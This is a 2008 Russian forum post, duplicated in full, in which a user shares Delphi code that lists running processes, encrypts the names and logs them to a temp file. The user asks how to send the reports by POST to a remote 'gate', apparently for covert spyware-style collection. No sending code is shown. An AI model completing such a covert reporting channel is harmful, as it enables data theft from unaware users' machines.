FLIER
17.06.2008, 17:24
у меня вопрос...в одном из моих программ есть код...ну например этот:
procedure getpros;
var
hSnap:THandle;
pe:TProcessEntry32;
begin
pe.dwSize:=SizeOf(pe);
hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ,0);
If Process32First(hSnap,pe) then begin
While Process32Next(hSnap,pe) do
writeReport(pe.szExeFile);
end;
end;
сам WriteReport выглядит так:
function WriteReport(str:string):string;
var
report: TextFile;
name,key:string;
begin
key:= DelSlesh(CriptKey);
str:= Cript_by_key(str,Key);
name := (TempPath+ NameOfReport);
AssignFile(report,name);
{$I-}
Append(report);
{$I+}
if IOResult<>0 then
begin
Rewrite(report);
Closefile(report);
Append(report);
end
else
Writeln(report,str);
CloseFile(report);
result:= str;
end;
думаю суть уловили...идёт запись в файл...у меня такой вопрос...как мне сделать эту запись не в файл на машине...а сразу отправить ПОСТ запросом гейту..и что-бы он на хосте его записал...
смотрел сдесь...::: http://forum.xakep.ru/m_1094468/mpage_1/key_/tm.htm#1094468
но эти варианты или не работают или не подходят....спасибо всем кто откликнется....не хочу просто ламерски писать....
procedure getpros;
var
hSnap:THandle;
pe:TProcessEntry32;
begin
pe.dwSize:=SizeOf(pe);
hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ,0);
If Process32First(hSnap,pe) then begin
While Process32Next(hSnap,pe) do
writeReport(pe.szExeFile);
end;
end;
сам WriteReport выглядит так:
function WriteReport(str:string):string;
var
report: TextFile;
name,key:string;
begin
key:= DelSlesh(CriptKey);
str:= Cript_by_key(str,Key);
name := (TempPath+ NameOfReport);
AssignFile(report,name);
{$I-}
Append(report);
{$I+}
if IOResult<>0 then
begin
Rewrite(report);
Closefile(report);
Append(report);
end
else
Writeln(report,str);
CloseFile(report);
result:= str;
end;
думаю суть уловили...идёт запись в файл...у меня такой вопрос...как мне сделать эту запись не в файл на машине...а сразу отправить ПОСТ запросом гейту..и что-бы он на хосте его записал...
смотрел сдесь...::: http://forum.xakep.ru/m_1094468/mpage_1/key_/tm.htm#1094468
но эти варианты или не работают или не подходят....спасибо всем кто откликнется....не хочу просто ламерски писать....